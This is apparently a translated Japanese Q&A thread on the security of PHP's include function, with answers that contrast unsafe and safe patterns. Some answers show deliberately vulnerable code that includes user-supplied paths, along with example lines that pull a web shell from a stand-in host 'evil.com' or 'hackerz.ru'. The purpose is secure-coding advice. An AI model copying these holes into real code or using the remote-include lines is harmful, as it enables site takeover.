10

「include」関数(例:「include'header2.php'」または「include'class.users.php'」)を使用して、Webサイトにヘッダーまたはセッションクラスを追加しています。どこにあるのかはよく覚えていませんが、ハッカーがどういうわけか、この「インクルード」を悪用して、偽のインクルードページなどを送信していると聞きました。つまり、基本的に、その「インクルード」機能とは何か、それをどのように保護できるか、どのように悪用するか、そして私が探しているものに対してより良い解決策があるかどうかを知りたいと思います。

前もって感謝します。

4

7 に答える 7

17

それはすべて、実装方法に依存します。パスを具体的に設定すると、安全です。サニタイズやチェックを行わずにユーザー入力によってファイル パスを決定できるようにすると、攻撃が発生する可能性があります。

安全でない(ディレクトリ トラバーサル)

<?php 
include($_GET['file']);
?>

安全でない( URL fopen - 有効な場合)

<?php 
include('http://evil.com/c99shell.php');
?>

安全でない

<?php 
include('./some_dir/' . $_GET['file']);
?>

部分的に安全でない ( *.php ファイルは脆弱です )

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

安全(ただし、なぜ誰かがこれを行うのかはわかりません。)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

安全

<?php 
include('./includes/somefile.php');
?>
于 2012-04-13T21:15:08.437 に答える
4

インクルードの最大の問題は、おそらくファイル拡張子を PHP から Web サーバーによって自動的に実行されないものに変更することです。たとえば、library.inc、または config.inc です。これらのファイルを Web ブラウザで呼び出すと、実行する代わりにコードが明らかになり、パスワードや悪用可能なヒントが表示されます。

パスワードが含まれている可能性のあるconfig.phpとconfig.incを比較してください。ほとんどの場合、config.inc をプルアップすると、データベースのパスワードが何であるかが表示されます。

ライブラリに .inc 拡張子を使用するプログラマがいます。前提は、それらが Web サーバーからアクセスできるディレクトリにないことです。ただし、セキュリティに偏執的ではないプログラマーは、そのファイルを便利な Web ディレクトリにダンプする可能性があります。

それ以外の場合は、何らかの方法でクエリ文字列によって送信されたファイルを含めないようにしてください。例: include( $_GET['menu_file'] )<-- これは非常に間違っています。

于 2012-04-13T21:13:37.263 に答える
3

次のようなことをすると、インクルードが悪用される可能性があります。

include($_GET["page"]);

次に、URL を呼び出します。

myscript.php?page=index.php

攻撃者は代わりindex.phpに使用できhxxp://hackerz.ru/install_stuff.php、サーバーは喜んでそれを実行します。

includeそれ自体は完全に安全です。入力を常に検証/エスケープするようにしてください。

于 2012-04-13T21:12:26.877 に答える
3

サーバー側はすべて (サーバーが侵害されていないと仮定して) 安全です。これを行う:

$var = $_GET['var']';    
include $var . ".php";

安全ではありません。

include "page.php"; 

安全です。

于 2012-04-13T21:13:57.557 に答える
2

次のことを行わない限り、Include は安全です。

  1. 次のようなリモートファイルを含めますwww.someoneelsesssite.com/something.php
  2. クライアントから取得したパスからのファイルを含めます。www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. データベースなど、汚染されている可能性のある別のソースからのファイルを含めます。

2 と 3 には、技術的には、 Windows で.またはまたはを許可しない場合はおそらく問題ないという警告があります。しかし、その理由がわからない場合は、危険を冒すほど十分にわかっていません。データベースが読み取り専用である、または安全であると考えている場合でも、実際にそうする必要がない限り、それを想定しないのが賢明です。/\

pp19ddの回答が指摘しているように。インクルードに .php 拡張子を付けて名前を付けることも重要です。別のファイル タイプを PHP として解析するように apache (または使用している Web サーバー) を設定している場合も同様に安全です。しかし、よくわからない場合は、.php のみを使用してください。

于 2012-04-13T21:12:19.530 に答える
1

最善の方法は、含めようとしているページが最初に存在することを確認することです。インクルード ページが何らかのユーザー入力 (URL 変数など) から処理されると、本当のセキュリティの抜け穴が発生します。?include=page.phpこれらに気をつけていれば大丈夫です。

if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }
于 2012-04-13T21:12:37.093 に答える
-2

私はこの方法を使用しています。

<?php include (dirname(__FILE__).'/file.php');
于 2015-07-02T17:48:57.067 に答える